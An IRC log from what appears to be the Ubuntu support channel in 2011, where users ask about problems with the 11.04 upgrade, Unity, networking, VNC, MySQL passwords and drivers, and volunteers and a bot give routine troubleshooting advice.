[20:17] <nongol> how can i get rid of the new scrollbars on 11.4
[20:18] <yehudah_> can one start acpi from within unity
[20:18] <m4dv0y> http://pastebin.com/W1R7MUM9 that's my problem dependencies
[20:18] <miceiken> edbian: unknown instance: -- am i to specify eth0 ?
[20:18] <dagon> howkj1, I have it installed but you have to enable advanced visual features when you right click on the desktop and go to change backround, in this new release it's not there for some reasion and I'm in classic mode too when I logged on because the unity is another mess lol
[20:18] <vagvaf> guys when i shut down my system, the screen will switch off, but not the cpu and the fan seems to go crazy...any ideas?
[20:18] <edbian> miceiken: sudo /etc/init.d/networking restart  (I hate that quark of Ubuntu)
[20:18] <mbroeker> bencc, you can check /etc/security/limits.conf or the proc fs directly.
[20:18] <ketema> so in my upgrade to 11.04 i got wallpaper and that's it.  no Unity no old desktop nothin.  I can ssh in, and am wondering how I should go about starting a desktop ? any suggestions ?
[20:19] <edbian> miceiken: sudo /etc/init.d/networking restart and sudo service networking restart should achieve effectively the same thing.  For some reason the former doesn't work.
[20:19] <miceiken> edbian: Failed to bring up eth0
[20:19] <edbian> miceiken: Any details about why?
[20:19] <miceiken> edbian: "Don't seem to have all the variables for eth0/inet."
[20:19] <LAcan> does ubuntu ship with a native firewall?
[20:19] <dagon> well you are not missing much with Unity ketema It looks like a twisted messed up version of a mac oc
[20:19] <dagon> os
[20:20] <ketema> dagon: lol that's cool, i'd be fine with old desktop too
[20:20] <bencc> mbroeker: in /etc/security/limits.conf I have "root hard nofile 30000" and "root hard nofile 30000"
[20:20] <ketema> dagon: right now i can't get anything
[20:20] <edbian> miceiken: It does indeed have everything it needs...  Is 10.104 an address inside the DHCP range?
[20:20] <miceiken> wait
[20:20] <miceiken> I think I see it
[20:20] <edbian> miceiken: waiting...
[20:20] <miceiken> is it spelled address?
[20:21] <bencc> mbroeker: "sudo cat /proc/sys/fs/file-nr" gives me "1024 0 38001" and it doesn't go over 1024
[20:21] <vanguard> how can I manage WIFI via the console?
[20:21] <miceiken> edbian: Yes, my ip is 105 here now
[20:21] <dagon> ketema, can you get a login screen when you fire up your box? If so on the bottom you have to select classic
[20:21] <miceiken> edbian: also I've spelled it "adress" is it "address"? :D
[20:21] <bencc> mbroeker: I thought that 1024 in "ulimit -a" is per user and in my case several users use the FD so I shouldn't hit the limit
[20:21] <ZekeS> vanguard: learn wpasupplicant :P
[20:21] <ketema> dagon: its set to auto login...how do I get it to logout ?
[20:21] <edbian> miceiken: your pastebin spells it correctly :)
[20:21] <edbian> miceiken: it is address
[20:22] <mbroeker> bencc, well, you know more about it than me.
[20:22] <bencc> mbroeker:  not sure. thanks :)
[20:22] <edbian> miceiken: Which machine is 105  ?
[20:22] <MK``> if I want to remove all config files when I remove a program, I have to use purge, and not the software center?
[20:22] <dagon> you have any desktop ketema or is it running in command line
[20:22] <miceiken> edbian: now it works :D this machine is 105, a windows one
[20:22] <vanguard> ZekeS: are you serious, or is this some sort of fancy joke?
[20:22] <edbian> miceiken: Everything is working then?
[20:23] <LAcan> Can someone help me with VNC real quick? I'm trying to connect from TightVNC on windows to my ubuntu machine but keep getting the error "Server did not offer supported security type!"
[20:23] <ketema> dagon: i can ssh in, but the actual console come up to wallpaper and that's it.  I can move the mouse but i get no context menus on right click, nothing but blank wallpaper
[20:23] <edbian> miceiken: I don't generally toot my own horn but I'm 2 for 2
[20:23] <miceiken> edbian: Haha, good job. Maybe it's just be being plain stupid tho. I greatly appreciate your help! Thank you :)
[20:23] <Linuxboy133> Anyone know how to get the apple ear buds with mic working in ubuntu 10.10
[20:23] <edbian> miceiken: NO problem.  Glad I could help :)  Have fun with Ubuntu! :D
[20:23] <ZekeS> vanguard: a joke - tbh I'm not sure what ubuntu/gnome has in place for that ...
[20:24] <ketema> dagon: where is the config file that specifies the desktop or X window manager ? if I can find that file perhaps I can change it and rebot ?
[20:24] <ish> Linuxboy133: are you using a macbook?
[20:24] <Linuxboy133> nope im using a dell
[20:24] <miceiken> edbian: thanks again, I'll probably be back tho :D
[20:24] <edbian> miceiken: :)
[20:24] <llutz> !info cnetworkmanager
[20:24] <ubottu> cnetworkmanager (source: cnetworkmanager): A command-line client for NetworkManager. In component universe, is extra. Version 0.21.1-1.1ubuntu1 (natty), package size 25 kB, installed size 208 kB
[20:24] <vanguard> ZekeS: any idea where I can find something? I just want it to connect to my house network like it does automatically on gnome login
[20:24] <llutz> vanguard: ^^
[20:25] <vanguard> llutz: k, thx
[20:26] <dagon> I'm not sure on that ketema
[20:26] <jzbl> hi, i am looking if new ubuntu 11.04 has the support for realtek 8192se, I am currently using 10.04 LTS with matt price PPA to get wifi, but considering the switch...
[20:26] <dagon> I can't even get my advanced visual features to get enabled
[20:26] <jzbl> can't find info anywhere..
[20:27] <crash82> Hello, What is the best IRC chat for linux ?
[20:28] <ZekeS> oh god
[20:28] <ketema> dagon: ok thanks i'll keep asking and googling
[20:28] <nongol> is there a way to disable the fancy new scrollbars in ubuntu 11.4 natty unity UI?  they don't seem2work in eclipse
[20:28] <bsodmike> back
[20:28] <ZekeS> crash82 you fool!
[20:28] <lunarmage> hello
[20:28] <bsodmike> how can I change my mysql root pass?
[20:28] <LAcan> Can someone help me with VNC real quick? I'm trying to connect from TightVNC on windows to my ubuntu machine but keep getting the error "Server did not offer supported security type!"
[20:28] <Pici> !best | crash82
[20:28] <ubottu> crash82: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[20:28] <ActionParsnip> Crash82: there is no single best app for anything
[20:28] <bsodmike> login, use mysql; UPDATE user SET Password=PASSWORD(‘YOURNEWPASSWORD’) WHERE User=’root’; FLUSH PRIVILEGES; exit;  ??
[20:28] <dagon> Same here ketema I'm not happy with this new release at all
[20:28] <ZekeS> crash82: I like weechat myself
[20:28] <lunarmage> My sounds stopped working with the new release
[20:29] <tomlin> hi someone using gnome3 in 11.4?
[20:29] <botcity> jzbl, http://ubuntuforums.org/showthread.php?t=1538486
[20:29] <ActionParsnip> Crash82: its as intelligent as asking what the best colour is
[20:29] <ketema> dagon: lol it sucks but luckily its just my 6 year old computer..she isn't too upset
[20:29] <crash82> Ok, I need a irc chat that allows me to do cascading of windows so I can follow multiple channels easily
[20:30] <jbwiv_> Guys, I've verified that on all four machines that I upgraded from 10.10 to 11.10, /var/log/messages is no longer being written to. It's just empty. Any ideas what could cause this?
[20:30] <bsodmike> ActionParsnip: any ideas on changing mysql root pass?
[20:30] <LAcan> ActionParsnip, can you help me with VNC real quick?
[20:30] <jzbl> botcity: I have it already working in 10.04, I need to know if 11.04 has the staging build working or some sort of additional package
[20:30] <ActionParsnip> Crash82: you are using an OS which trumpets choice and freedom. Try a few and see which YOU think is best
[20:30] <trism> nongol: try running: LIBOVERLAY_SCROLLBAR=0 eclipse; you could also uninstall liboverlay-scrollbar-0.1-0 if you wanted them gone everywhere
[20:30] <dagon> lol ketema atleast you are getting her up with linux though at her young age, I've been working on computers since I was like 13 and I'm 30 now but never ever dwelled into linux until a year ago.. Imagine what I could of learned years back
[20:31] <jzbl> botcity: the PPA the provides me with rtl8192se-dmks is not providing builds for anything else than lucid..
[20:31] <tomlin> someone has a working autologin in gnome3?
[20:31] <trism> jbwiv_: in natty, /etc/rsyslog.d/50-default has /var/log/messages commented out, you could add it back if you wanted it (then restart rsyslog) (repost from above)
[20:31] <Pici> bsodmike: UPDATE mysql.user SET Password=PASSWORD('YOURNEWPASS') WHERE User='root'; FLUSH PRIVILEGES;
[20:31] <ActionParsnip> LAcan: i don't use vnc. I find it ungraceful and clumsy
[20:31] <dualcore> firestarter is saying it cant read the system log and i can't see any events ?
[20:31] <LAcan> ActionParsnip, what do you use?
[20:31] <bsodmike> hey Pici!
[20:31] <trism> jbwiv_: although it is actually /etc/rsyslog.d/50-default.conf; typo
[20:31] <bsodmike> nice to see you again mate
[20:31] <ActionParsnip> bsodmike: no idea, sorry
[20:31] <nongol> trism: thanks, will try that
[20:31] <Pici> bsodmike: Howdy.  I'm always here ;)
[20:31] <jbwiv_> trism, interesting. so where do messages which would have gone to /var/log/messages now go?
[20:32] <ActionParsnip> LAcan: web uis or ssh
[20:32] <ketema> dagon: yeah ubuntu is great for kids because of the gui, but to be honest i find that the gui gets in my way...
[20:32] <edbian> ketema: Me too
[20:32] <rcmaehl> Help. My mic is showing up and unmute, sound works, but the mic doesn't I've tried it on oterh computers and it works fine. It is a 3.5mm mic
[20:32] <LAcan> Can someone help me with VNC real quick? I'm trying to connect from TightVNC on windows to my ubuntu machine but keep getting the error "Server did not offer supported security type!"
[20:32] <ketema> dagon: i know that the unity or whatever it is has a config file somewhere...just need to find it and turn it off or revert back to old window manager
[20:32] <flametai1> Ubuntu 11.04 won't work on my computer for some reason, won't go past the purple loading screen, can anyone help me out? o=-o
[20:33] <bob__> anybody know where wxBanker stores your files? (not in Home or Documents)
[20:33] <blackbit> flametai1: what error does it give you?
[20:33] <jbwiv_> trism, do they now go to /var/log/syslog?
[20:33] <trism> jbwiv_: it was mostly a mix of kern.log and syslog, although some messages may be missing, I haven't really checked
[20:33] <trueman> You to find edid.bin find for your monitor
[20:33] <flametai1> blackbit, no clue, nothing will come up other than the terminal
[20:33] <ray24> Hi, how do you give yourself permission to delete/create in a secondary hard drive?
[20:34] <dagon> Yes ketema I was drawn to it because of the user friendly aspect I'm in the process of getting around the OS using strictly the terminal I'm not completly lost on it I slung keys in dos for a long time when I was around 16 or so when the rockin 386 SX mother boards were out heh
[20:34] <lunarmage> help me get my sound back to my speakers?
[20:34] <jbwiv_> trism, ok, thank you!
[20:34] <ActionParsnip> ketema: use a different UI and it can look like any other distribution or even a different OS
[20:34] <edbian> bob__: Guessing but probably in /home/you/.wxbanker
[20:34] <flametai1> I mean nothing will come up other than the purple screen, sorry about that blackbit lol
[20:34] <ketema> i found an article that says when you have no window manager to right click the dekstop and create a folder then enter the folder to get into the file manager...when i try to do this the context menu flashes reall quickly then disappers...
[20:34] <twilno> today is a wonderful day
[20:34] <twilno> ahhhh
[20:34] <flametai1> I've tried bringing up a console but nothing works
[20:34] <blackbit> flametai1: upgrade I bet
[20:34] <edbian> ketema: Hold down the button.
[20:34] <Chipzzz> ray24: man mount should help
[20:34] <flametai1> m5d check sum or w/e works fine too
[20:34] <epimeth> hi folks... I've just set up 10.04 server and noticed it didn't come with sendmail (php couldn't send mail) so I installed sendmail and set the directive in php.ini to /usr/sbin/sendmail.    mail() returns true but no mail is sent and I can't find any errors... can anyone help?
[20:35] <carl-m> Just installed 11.04, running xfce. When I go to the printer configuration, it asks me for the root password :)  Does anyone know what command that is so I can run it in sudo?
[20:35] <ActionParsnip> ketema: dislike of a distribution as customizable as linux based on the UI makes no sense at all
[20:35] <tomlin> someone has a working auto login in gnome3?
[20:35] <flametai1> blackbit, yes it was an upgrade, I tried making a fresh install with 11.04 though using a USB boot but my computer won't even bring the install menu up for it.
[20:35] <rcmaehl> carl-m: your password
[20:35] <bob__> edbian: I'll try there - thanks (I am using 10.04LTS as I dislike 11.04)
[20:35] <edbian> bob__: ok.
[20:35] <n-iCe> hi
[20:36] <ketema> ActionParsnip: who said i did not like linux ? i love linux and i like ubuntu is fine for my kids
[20:36] <flametai1> Any idea blackbit?
[20:36] <n-iCe> other tty got frozen, how do I unfroze it? I am in alt + ctrl + f4
[20:36] <howlatnight> has anyone ever had success compiling a source version of dsniff?
[20:36] <ActionParsnip> carl-m: run the installer with sudo and use your log in pass
[20:36] <n-iCe> but I was downloading a big file
[20:36] <trueman> Does anybody use linux mint?
[20:36] <n-iCe> I don't want to lose it
[20:36] <blackbit> flametai1: I can't solve your issue, but I had a similar one while upgrading from 10.10. Stuck on login, it gave me a 'module is unknown' error after typing credentials and pressing login. I spent about 1 hour looking for solutions in a forum but just spent 15 minutes making a fresh install
[20:36] <n-iCe> can I move a proccess to other tty?
[20:36] <blackbit> flametai1: Hope you get the idea
[20:36] <Guest73337> \list
[20:37] <ActionParsnip> ketema: same deal. You can change it as you wish. Its not just for kids by any stretch
[20:37] <carl-m> ActionParsnip: I am going to install a network printer; I'm not sure what you mean by the install program
[20:37] <trueman> Does anyone use linux Mint?
[20:37] <ketema> edbian: that holding down did not help...by the way the screen flickers i think i have a driver problem...the video card is old but its has 256 MB vram its an old nvidia...im going to try a different video card and see if it helps
[20:37] <ActionParsnip> trueman: mint is offtopic and unsupported here
[20:37] <n-iCe> nobody?
[20:38] <edbian> ketema: Ok.  Also, does alt + F2 do anything?
[20:38] <ketema> ActionParsnip: actually my kids love it
[20:38] <chaospsyX> should I download and install the updates for 10.10 ? everything is working like a charm and I am kind of apprehensive about updating 10.10
[20:38] <flametai1> blackbit, any idea why the installer wouldn't work then?
[20:38] <lcb> n-iCe, let it go, probably a mem issue and it might go away in time.
[20:38] <trueman> ActionParsnip, do you always use only ubuntu?
[20:38] <arsenall> trueman: you have problems with mint?
[20:38] <xc> Hi guys!
[20:38] <n-iCe> lcb:  I am downloading the file from chrome how can I see the % of downloading
[20:39] <n-iCe> to wait until it finish
[20:39] <ActionParsnip> carl-m: the installer asking for root. Stop it then run the command prefixed with sudo
[20:39] <lcb> n-iCe, no other tty?
[20:39] <blackbit> flametai1: I am not sure because I never did an USB install, but I've read that USB-boot is not always possible with older bioses. Maybe I am wrong, but I suggest you to check your bios to see if you see any related option and enable it eventually
[20:39] <carl-m> ActionParsnip: I am not running an installer, I am running the 'Printing' item on the settings menu
[20:39] <n-iCe> lcb: yes I have the others tty I am in other right now
[20:39] <carl-m> my question was what program to run from the command line
[20:40] <trueman> Guys, do you like unity?
[20:40] <ActionParsnip> trueman: no my lappy runs xpud most days and my samba box runs puppy
[20:40] <lcb> n-iCe, command top
[20:40] <pankaj> trueman, NO
[20:40] <arsenall> trueman: no
[20:40] <alvaro> Hello
[20:40] <trueman> hm...
[20:40] <xc> Gnome :D
[20:40] <n-iCe> done lcb now?
[20:40] <Omega> trueman: I do.
[20:40] <Omega> !oi
[20:40] <Omega> !ot
[20:40] <tomlin> hi
[20:40] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[20:40] <person> ???
[20:40] <arsenall> trueman: i prefer gnome-shell, but it always crashes
[20:40] <brontosaurusrex> i have that old issue of mice pointer not wanting to be scaled, which is i think compiz related, what was/is the solution nowadays? (i did fix that in 10.10 somehow...)
[20:41] <lcb> n-iCe, you see if the process is running.
[20:41] <brontosaurusrex> running 11.04 classic
[20:41] <Omega> !ot > arsenall
[20:41] <ubottu> arsenall, please see my private message
[20:41] <ActionParsnip> carl-m: then that shouldn't need more than user access
[20:41] <xc> Arsenall : crash?!
[20:41] <trueman> can you explain? why is unity so bad?
[20:41] <edbian> brontosaurusrex: If you're running try turning compiz off, scaling the mouse, and turning compiz back on.  This is the most annoying thing ever IMHO
[20:41] <n-iCe> lcb: chrome is running, of course, I wanna know the % of the download in chrome
[20:41] <n-iCe> lcb: I can't even run startx again
[20:41] <arsenall> it doesnt work normaly
[20:41] <ActionParsnip> Trueman: its ok (unity)
[20:41] <carl-m> ActionParsnip: yes, but it is asking me for the root password - that's why I put the smiley face on my original question. there is no root password, but the default install is asking for it, so I am trying to work around it
[20:41] <arsenall> in natty
[20:42] <ray24> I'm unable to delete/modify content in my secondary hard drive, I believe it has something to do with mount permission
[20:42] <brontosaurusrex> edbian, let me try...
[20:42] <Omega> n-iCe: What crashed?
[20:42] <xc> arsenall : It's very strange! O.o
[20:42] <n-iCe> s
[20:42] <n-iCe> s
[20:42] <arsenall> i think it's problem with nvidia drivers
[20:42] <edbian> brontosaurusrex: I'm not sure it is the solution.  Just an idea.
[20:42] <Omega> n-iCe: What crashed?
[20:42] <lcb> n-iCe, i don't know if is possible to do that. my suggestion is let the dld go and put the tty on the graphic environment afterwards
[20:42] <xc> it's probably
[20:42] <brontosaurusrex> edbian, rings a bell a bit...
[20:42] <arsenall> my english knowledge is not very good, Sorry
[20:43] <edbian> brontosaurusrex: yeah.  Same for me
[20:43] <ActionParsnip> Carl-m: use alacarte to find the command that menu item runs then run it with sudo
[20:43] <tajpan_22> hello everybody
[20:43] <n-iCe> lcb:  but how can I know when it finished
[20:43] <lcb> n-iCe, by looking at top
[20:44] <Omega> n-iCe: I am trying to help you, what crashed?
[20:44] <tajpan_22> can someone help me with gentoo?
[20:44] <n-iCe> Omega: everything
[20:44] <Pici> tajpan_22: Try #gentoo
[20:44] <Omega> n-iCe: so compiz?
[20:44] <trueman> nvidia drivers cannot detect EDID info from our monitors=( it's a nvidia's bug, or monitor manufactures... i don't know
[20:44] <n-iCe> Omega: I was on skype then all got freeze
[20:44] <n-iCe> Omega: dunno
[20:44] <tajpan_22> ok, thanks
[20:44] <n-iCe> lcb: but says just chrome running, it does not say if the download finished
[20:44] <Omega> n-iCe: Go in a tty and type the following: sudo killall -9 compiz && unity
[20:44] <carl-m> ActionParsnip: thanks, 'alacarte' was what I was missing
[20:44] <kyle_> using Banshee media player, connecting to DAAP server, when i exit the record is removed and i have to add again. how do i make it stay?
[20:45] <ActionParsnip> Trueman: then run: sudo nvidia-xconfig
[20:45] <Geoffrey2> I'm trying to disable monitor hotplug polling..but even with sudo, I'm getting permission denied....
[20:45] <lcb> n-iCe, but you have there much more than saying is running, don't you? you could have the idea by the load if the memory leak or whatever causing that drops down
[20:45] <trueman> ActionParsnip, for what?
[20:46] <trueman> i already have xorg.conf in /etc/X11 )
[20:46] <brontosaurusrex> edbian, didnt work
[20:46] <edbian> brontosaurusrex: sorry.  It was just a guess!
[20:46] <tomlin> someone using gnome 3 in ubuntu 11.4
[20:47] <ActionParsnip> Trueman: your monitor isn't talking to your system to report refresh rates etc. The command builds an xorg.conf file for you which may help
[20:47] <dd214> tomlin, yes most of us are
[20:47] <Geoffrey2> the command I'm trying is 'echo 0 > /sys/module/drm_kms_helper/parameters/poll' ... even with sudo in front, permission denied
[20:47] <kaffe_02> is there a way to move the unity launcher from one monitor to another?
[20:47] <Pici> dd214, tomlin: No, Ubuntu uses Unity by default, not GNOME 3.
[20:47] <LAcan> Can someone help me with VNC real quick? I'm trying to connect from TightVNC on windows to my ubuntu machine but keep getting the error "Server did not offer supported security type!"
[20:48] <tomlin> dd214 : is autol login working for you?
[20:48] <n-iCe> I am back, just rebooted
[20:48] <trism> Geoffrey2: echo 0 | sudo tee /sys/module/drm_kms_helper/parameters/poll; > is captured by the shell and is run as your user, not root
[20:48] <kyle_> using Banshee media player, connecting to DAAP server, when i exit the record is removed and i have to add again. how do i make it stay?
[20:48] <dd214> tomlin, do you mean keeping my Gnome3 preference when logging in?
[20:48] <lcb> kaffe_02, it's heavy :p (on your graphics utility change the monitors) other way i don't believe it's possible
[20:48] <tomlin> thanks pici but you can install gnome?
[20:49] <ActionParsnip> Geoffrey2: sudo doesn't go over the >
[20:49] <lenios> LAcan, https://help.ubuntu.com/community/VNC
[20:49] <Omega> n-iCe: You didn;t take my advice?
[20:49] <dd214> tomlin, nvrmnd.. sorry, I force authentication
[20:49] <RealOp> how can i upgrade from a CD ?
[20:49] <Omega> n-iCe: And if that didn't work, I knew how to check if it was done with the download.
[20:49] <Omega> n-iCe: But oh well.
[20:49] <RealOp> I have the 11.04 CD, im running 10.10, should be simple?
[20:49] <ActionParsnip> Realop: you must use alternative cd
[20:49] <Souperman> RealOp, do a clean install
[20:50] <Omega> RealOp: I would reccomend you backup your files and do a fresh install
[20:50] <kaffe_02> lcb: thanks, one is my laptop the other is a separate monitor and I want it on the monitor not my laptop
[20:50] <Geoffrey2> ActionParsnip, ok, obviously they're expecting people visiting launchpad to be slightly more linux savvy that I am at present :)
[20:50] <RealOp> ActionParsnip, does alt cd support 64bit?
[20:50] <tomlin> dd214 ok thx .. i tried all ops but i always have to authenticate too... i m wondering
[20:50] <Geoffrey2> trism, thanks :)
[20:50] <Omega> ActionParsnip: No, he doesn't need the alternative cd.
[20:50] <lcb> kaffe_02, running unity or classic?
[20:50] <Omega> RealOp: You don't need the alt cd.
[20:50] <kaffe_02> lcb: unity
[20:50] <ActionParsnip> Geoffrey2: use: sudo -i   first and you'll be ok
[20:50] <Omega> RealOp: the normal one is fine
[20:50] <lcb> kaffe_02, with no problemas at all? :o
[20:51] <Soothsayer> Anyone virtualizing Windows 7 within Ubuntu ?
[20:51] <Omega> From natty onwards you can upgrade through the normal iso too.
[20:51] <RealOp> Omega, how can i upgrade via iso or cd?
[20:51] <RealOp> !upgrade
[20:51] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[20:51] <ActionParsnip> Omega: for an upgrade using a CD you should use the alt CD. Check the upgrade docs
[20:51] <Omega> RealOp: do you have it burned?
[20:51] <lcb> kaffe_02, more than 1 moni on unity is giving a lot of probs, that's why i asked
[20:51] <RealOp> i have both
[20:52] <Omega> ActionParsnip: There is a new feature in the natty installer, he can use the normal cd.
[20:52] <ActionParsnip> Realop: ISO and CD are no different in Linux
[20:52] <Omega> http://www.webupd8.org/2011/03/ubuntu-live-cd-will-let-you-upgrade-to.html
[20:52] <kaffe_02> lcb: yeah no problem just super+a find monitors and then it was able to detect the displays with out any problems
[20:52] <ActionParsnip> Omega: is user upgrading to natty?
[20:53] <lcb> kaffe_02, do you have catalystic on preferences?
[20:53] <Geoffrey2> I'm having fun with the dmesg bug....the one where your entire dmesg output is a bunch of errors
[20:53] <brontosaurusrex> uhmm, how about some fancy mouse trail effect in compiz?, that would do, if i can't have huge pointer
[20:53] <lcb> kaffe_02, i mean catalyst
[20:53] <Omega> ActionParsnip: yes
[20:54] <ActionParsnip> Omega: current release could be Lucid...
[20:54] <Omega> He said 10.10.
[20:54]  * RealOp is on lucid
[20:54] <Omega> < RealOp> I have the 11.04 CD, im running 10.10, should be simple?
[20:54] <kaffe_02> lcb: I dont think so, how can I check that?
[20:55] <ActionParsnip> Omega: cool. Was unaware of the feature. My bad
[20:55] <Omega> RealOp: We can't help you if you mislead us.
[20:55] <jakegub> Is there a fix yet for the blank screen during NEW install of 11.04?
[20:55] <lcb> kaffe_02, search on apps by control center
[20:55] <Omega> ActionParsnip: no problem mate
[20:55] <RealOp> Omega, sorry i have too many machines running diff versions
[20:55] <RealOp> You are using Ubuntu 10.10
[20:55] <RealOp>                 - the Maverick Meerkat - released in October 2010
[20:56] <ActionParsnip> jakegub: which video chip do you have?
[20:56] <kyle_> using Banshee media player, connecting to DAAP server, when i exit the record is removed and i have to add again. how do i make it stay?
[20:56] <Omega> RealOp: My advice would be to backup and do a fresh install.
[20:56] <jakegub> ActionParsnip: Geforce 540m on a Clevo notebook
[20:56] <RealOp> Omega, ty for the link ill give it a go later
[20:57] <ActionParsnip> Jakegub: add the boot option: nouveau.blacklist=1
[20:57] <ActionParsnip> Omega: +1 for clean install
[20:57] <netcrash> irc on empathy :D
[20:57]  * ketema changed video card and 11.04 came up...is there a recommended video card list somewhere ? that way when I do my next one i won't have this issue with no desktop
[20:57]  * RealOp will do clean install
[20:57] <jakegub> ActionParsnip: forgive me, During installation I add that as a --tag to the boot options?
[20:57] <ActionParsnip> !hcl
[20:57] <ubottu> For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport - To help debugging and improving hardware detection, see https://wiki.ubuntu.com/DebuggingHardwareDetection
[20:58] <lcb> RealOp, backup with the live cd /home
[20:58] <kyle_> using Banshee media player, connecting to DAAP server, when i exit the record is removed and i have to add again. how do i make it stay?
[20:58] <tomlin> GNOME3 possible to put system monitor to panel on top?
[20:58] <ActionParsnip> Jakegub: remove: quiet splash    and add in in the same place
[20:58] <xskydevilx> How do I set a manually screen resolution because on my netbook the maximum of 1024x600 isn't showing up?
[20:59] <rabies> anyone know why in 10.04 I could be getting the following error when trying to use bibtex: I couldn't open style file IEEETran.bst
[20:59] <ActionParsnip> Tomlin: its not supported here. Try #gnome
[20:59] <kyle_> using Banshee media player, connecting to DAAP server, when i exit the DAAP record is removed and i have to add again. how do i make it stay?
[20:59] <tomlin> ActionParship: ok i try
[21:01] <Pretto> is there a way to save unity session?
[21:01] <jakegub> ActionParsnip: I will try it.  Thank you for the suggestions.
[21:01] <n-iCe> GOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL
[21:01] <ActionParsnip> xskydevilx: which video chip?
[21:02] <lcb> n-iCe, got it?
[21:02] <ActionParsnip> N-ice: liquid football
[21:02] <n-iCe> lcb: just reboote
[21:02] <n-iCe> rebooted
[21:02] <lcb> geee
[21:02] <lcb> ok....
[21:02] <xskydevilx> ActionParsnip: GMA 950
[21:03] <W00tty> Hi there
[21:03] <ActionParsnip> xskydevilx: what is the output of: lsb_release -a
[21:03] <W00tty> i've a little question.. is the 11.04 great ?
[21:03] <yehudah_> hi
[21:03] <ActionParsnip> xskydevilx: -d   is fine
[21:03] <bob__> debian: files are in usr/share/wxbanker/fixtures and are of the form *.db
[21:04] <lcb> W00tty, it is, under Ubuntu Classic desktop
[21:04] <yehudah_> how can you start acpi after booting up
[21:04] <ActionParsnip> W00tty: works fine here, has done since alpha 2
[21:04] <xskydevilx> ActionParsnip: http://paste.ubuntu.com/602957/
[21:04] <W00tty> lcd, what's new other than gnome 3 ? :p
[21:05] <hepek> did anybody break wireless (AR928X Atheros) when dist-upgrading from 10.10
[21:05] <lcb> !info gnome | W00tty
[21:05] <ubottu> W00tty: gnome (source: meta-gnome2): The GNOME Desktop Environment, with extra components. In component universe, is optional. Version 1:2.30+7ubuntu3 (natty), package size 2 kB, installed size 60 kB
[21:05] <Toph> ActionParsnip,,, is 11.04 Ubuntu Classic just 10.10?
[21:05] <ActionParsnip> W00tty: gnome3 isn't any part of natty by default
[21:06] <W00tty> ahh i see
[21:06] <W00tty> i'll try it :O
[21:06] <W00tty> thanks :)
[21:06] <Pici> Toph: Ubuntu Classic is GNOME 2.x, not Unity
[21:06] <guntbert> !gnome3 | W00tty
[21:06] <ubottu> W00tty: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[21:07] <W00tty> !openoffice
[21:07] <ubottu> a free and open source office suite that includes word processor, spreadsheet, presentation, vector drawing and database components. To install: "sudo apt-get install openoffice.org". User help available in #openoffice.org.
[21:07] <vish> !msgthebot > W00tty
[21:07] <ubottu> W00tty, please see my private message
[21:07] <W00tty> <3 ubottu :D
[21:07] <ActionParsnip> Toph: natty has a gnome classic session which looks like maverick desktop
[21:07] <samtate> Hi, is there any way to get playlists in the sound menu on 10.10 Maverick. I refuse to upgrade to 11.04 until the bugs have been sorted out in a few months
[21:08] <W00tty> thanks :)
[21:08] <samtate> Hi, is there any way to get playlists in the sound menu on 10.10 Maverick (maybe just using the natty soundmenu?). I dont want to upgrade to 11.04
[21:09] <arand> samtate: No need to repeat
[21:09] <ray24> If someone can help me access my hard drive, it would be great
[21:09] <vish> samtate: the support landed on 11.04, there is no easy way and not sure if anyone has tried, but if you want you could try upgrading the indicator and banshee extension
[21:09] <samtate> vish, how would I do that?
[21:09] <Toph> Pici,,, ok,, followup question: I can't log into Unity, but I can into Classic. Then when I go to CompizConfig Settings manager and activate the Ubuntu Unity Plugin, I get what looks like Unity (sidebar)  . Am I in what would be full Unity?
[21:09] <W00tty> @ray24 how do you want to access ur hardrive ?
[21:09] <ubunub> ray24, how so?
[21:09] <arand> ray24: Could you give some more details?
[21:09] <gaspar|work> Hey guys, I updated to 11.04 from 10.10 and the log out button and volume control are missing. I had to disable unity as my graphic card was not powerful enough and the next time I restarted my mac they did not come up.
[21:09] <ray24> well, my secondary hard drive won't allow me access to delete or create files on it
[21:10] <vish> samtate: right, ;)  its not an easy way.. and no one might have tried it.. you'd have to figure it out yourself ;p[
[21:10] <Pici> Toph: I really don't have much Unity knowledge, your best bet would be to ask the channel.
[21:10] <ActionParsnip> xskydevilx: you can either form an xorg.conf file or try xorg edgers ppa. xorg.conf is safer but may take longer. Xorg edgers ppa may fix it but the driver are very experimental and may break stuff
[21:10] <ubunub> ray24 as in you dont have permission?
[21:10] <tomlin> real vs. barcelona 1 : 1
[21:10] <Toph> Pici,,,    ok, can anyone else help me on that one?
[21:10] <samtate> vish, are there packages or a ppa though?
[21:10] <bassliner> so is there any way to move the icon bar on the left to the right side? or to the left side of the right of 2 monitors?
[21:11] <xskydevilx> ActionParsnip: Okay. Do you mind explaining the xorg.conf file editing? I'm a noob in GNU/Linux in general.
[21:11] <ray24> When I try to unmount it, it saids "Failed to eject media; one or more volumes on the media are busy."
[21:11] <vish> samtate: no ppa, you;d have to download the natty packages and install in maverick.. should probably work since not much has changed from maverick » natty , atleast the GTK/GNOME part
[21:11] <bassliner> i (again) feel like these limiting renewals are just retarded.
[21:11] <ActionParsnip> Toph: i have the same. I need a startup item to run: compiz --replace   at logon
[21:11] <amstan> ActionParsnip: so i have a bunch of debs now, for my haskell install, i would like to make it easier for myself to use them, can i create a ppa with them in there?
[21:12] <samtate> vish, so where are the packages? Any particular site?
[21:12] <ubunub> ray24 so how does that effect your reading/writing abilities?
[21:12] <amstan> ActionParsnip: they're unmodified, just downloaded them from the ubuntu sid repo
[21:12] <vish> samtate: on launchpad
[21:12] <Toph> ActionParsnip,,, ok,, then I should be ok, in spite of getting at it in a roundabout way
[21:12] <tanath> anyone else getting "No indicators" on gnome panel in 10.10?
[21:12] <W00tty> @ray check if you don't have anything running (like the file explorer on it)... dunno
[21:12] <ray24> ubunub, my abilities?
[21:12] <Logan_> !ot | tomlin
